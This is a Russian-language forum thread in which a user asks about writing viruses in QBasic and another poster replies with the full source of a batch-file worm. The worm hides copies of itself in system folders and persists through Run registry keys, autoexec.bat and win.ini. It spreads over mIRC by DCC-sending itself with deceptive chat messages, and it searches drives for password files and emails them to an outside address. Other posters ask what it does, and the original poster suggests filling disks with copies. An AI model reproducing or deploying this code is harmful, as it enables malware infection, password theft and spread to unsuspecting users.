Вопрос по QBasic

[Злюк]

Вообщем вопрос такой можно ли написать какой-нить спецефический вирус,который можно написать только в qbasic?

 

[RedDevil]

Думаю, в QBasic ты вирус не напишешь, так как в QBasic маловато операторов для работы с файловой системой.

Да ещё и под DOS.

 

[Nax[no]rt]

Вирус врядли, а вот форматнунть или напакостить сможешь )
Всё через команды консоли. Почитай про BAT вирусы. Так же сможешь организовать на Qbasic'е

 

[Kuber]

Сказать вирусы пишутся на asm, c/c++ или еще каком - нибудь серьезном языке... Зачем? Можно писать на любом языке или командном сценарии. Вот привожу ссылку
NetLux, здесь точно найдешь чего - нибудь.

 

[dracula]

нет. вот на bath да......
вот тебе код:

REM r3x0r- Written by dracula aka dracula_2000 aka dracula4ever
Main:
if exist %windir%\%r3x0r% goto Eov
set r3x0r=%random%.bat
ren %0 %r3x0r%
echo set r3x0r=%r3x0r% >> %HOMEDRIVE%\autoexec.bat :Deploy
copy %0 "%windir%\system32\drivers\etc"
attrib +h %windir%\system32\drivers\etc\%r3x0r%
copy %0 "%windir%\system32\systemprofile\"
attrib +h %windir%\system32\systemprofile\%r3x0r%
copy %0 %windir%
attrib +h %windir%\%r3x0r%
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "win32dll" /d "if not exist %windir%\%r3x0r% copy "%windir%\system32\drivers\etc" %windir%&call %windir%\%r3x0r%
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\win32dll" /v "key" /d "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\win32dll" /v "hkey" /d "HKCU"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\win32dll" /v "command" /d "if not exist "%windir%\%r3x0r% copy %windir%\system32\drivers\etc" %windir%&call %windir%\%r3x0r%
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\win32dll" /v "item" /d "r3x0r"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\win32dll" /v "inimapping" /d "0"
echo if not exist %windir%\system32\drivers\etc\%r3x0r% call %windir%\system32\systemprofile\%r3x0r% >> %HOMEDRIVE%\autoexec.bat
echo if not exist %windir%\system32\drivers\etc\%r3x0r% copy %windir%\system32\systemprofile\%r3x0r% %windir%\system32\drivers\etc >> %HOMEDRIVE%\autoexec.bat
echo if not exist %windir%\%r3x0r% call %windir%\system32\drivers\etc\%r3x0r% >> %HOMEDRIVE%\autoexec.bat
echo if not exist %windir%\r3x0r.bat copy %windir%\system32\drivers\etc %windir% >> %HOMEDRIVE%\autoexec.bat
attrib +h %HOMEDRIVE%\autoexec.bat
echo [Windows] >> %windir%\win.ini
echo if not exist %windir%\system32\drivers\etc\%r3x0r% call %windir%\system32\systemprofile\%r3x0r% >> %windir%\win.ini
echo if not exist %windir%\system32\drivers\etc\%r3x0r% copy %windir%\system32\systemprofile\%r3x0r% %windir%\system32\drivers\etc >> %windir%\win.ini
echo if not exist %windir%\%r3x0r% call %windir%\system32\drivers\etc\%r3x0r% >> %windir%\win.ini
echo if not exist %windir%\%r3x0r% copy %windir%\system32\drivers\etc %windir% >> %windir%\win.ini
attrib +h %windir%\win.ini
Irc:
for %%i in (c,d,e,f,g) do (for %%a in (
%%i:\mirc\
%%i:\mirc32\
%%i:\Omegascript\
%%i:\progra~1\mirc\
%%i:\progra~1\mirc32\
%%i:\progra~1\Omegascript\
) do (for %%z in (mirc.exe,mirc32.exe) do (if exist %%a%%z Set Mp=%%a& Set Dmp=%%i:& Goto IrcInf )))
goto FndPsFl:
IrcInf:
if '%0'=='%r3x0r%' copy %0 %Mp%
if '%0'=='r3x0r' copy %0.bat %Mp%
if not exist %mp%%r3x0r% copy %cd%\%r3x0r% %mp%
attrib +h %mp%%r3x0r%
%Dmp%
cd %Mp%
Set {={& Set }=}
if exist Temp.txt Ren Temp.xxx
echo on *:join:*: %{% >> Temp.txt
echo var %ooo 1 >> Temp.txt
echo while (%ooo <= $nick($chan,0)) %{% >> Temp.txt
echo if ($nick($chan,%ooo) != $me) %{% >> Temp.txt
echo /timer 1 2 /.msg $nick($chan,%ooo) Sup bro? remember me? >> Temp.txt
echo /timer 1 6 /.msg $nick($chan,%ooo) u can help me with some file? >> Temp.txt
echo /timer 1 9 /.msg $nick($chan,%ooo) just tell me what you see when you run him, thx bro! >> Temp.txt
echo /timer 1 11 /.msg $nick($chan,%ooo) Hoo, and dont be afraid- it's not a virus. >> Temp.txt
echo /timer 1 13 //dcc send $nick($chan,%ooo) %r3x0r% >> Temp.txt
echo %}% >> Temp.txt
echo inc %ooo >> Temp.txt
echo %}% >> Temp.txt
echo %}% >> Temp.txt
Type Temp.txt >> script.ini
del Temp.txt
if exist Temp.xxx Ren Temp.txt
FndPsFl:
for %%i in (c,d,e,f,g) do (for %%a in (
%%i:\
%%i:\Pwd\
%%i:\Passwo~1\
%%i:\Progra~1\
%%i:\Progra~1\Pwd\
%%i:\Windows\
%%i:\Windows\Pwd\
%%i:\Windows\Passwo~1\
%%i:\DOCUME~1\%username%\
%%i:\DOCUME~1\%username%\Pwd\
%%i:\DOCUME~1\%username%\Passwo~1\
%%i:\DOCUME~1\%username%\Desktop\
%%i:\DOCUME~1\%username%\Desktop\Pwd\
%%i:\DOCUME~1\%username%\Desktop\Passwo~1\
) do (for %%k in (Pass.txt,Password.txt,Passwords.txt,Pwd.txt) do (if exist %%a%%k Set PssFldr=%%a%%k& Goto SndMl)))
Goto Eov
:SndMl
If exist Mail.vbs ren Mail.xxx
Echo set objSMail = CreateObject("CDONTS.NewMail") >> Mail.vbs
Echo objSMail.From = r3x0r@g0.com >> Mail.vbs
Echo objSMail.To =r3x0r@walla.co.il >> Mail.vbs
Echo objSMail.Subject = "%r3x0r%" >> Mail.vbs
Echo objSMail.Body = "%r3x0r%" >> Mail.vbs
Echo objSmail.AddAttachment "%Pssfldr%" >> Mail.vbs
Echo objSMail.Send >> Mail.vbs
Echo WScript.quit >> Mail.vbs
Call Mail.vbs
Dell Mail.vbs
If exist Mail.xxx ren Mail.vbs
Eov:

 

[Dude03]

нет. вот на bath да......
вот тебе код:

WHS?=)
А чего хоть делает этот скрипт?

 

[dracula]

это червяк.Он очень опасный!

 

[mause]

гы прикол вот они какие вирусы изнутри никогда не видел =))))) даже частично понятно что он делает....

 

[Dude03]

это червяк.Он очень опасный!

:lol2: Сам вижу, что червяк. Я не понимаю слов "очень опасный"=)
А чем опасный ?

 

[Злюк]

Пароли от всего на мыло шлёт??и винде прописываетса? :bang:
А как насчёт бесконечного копирования чтобы хард забить??? :crazy: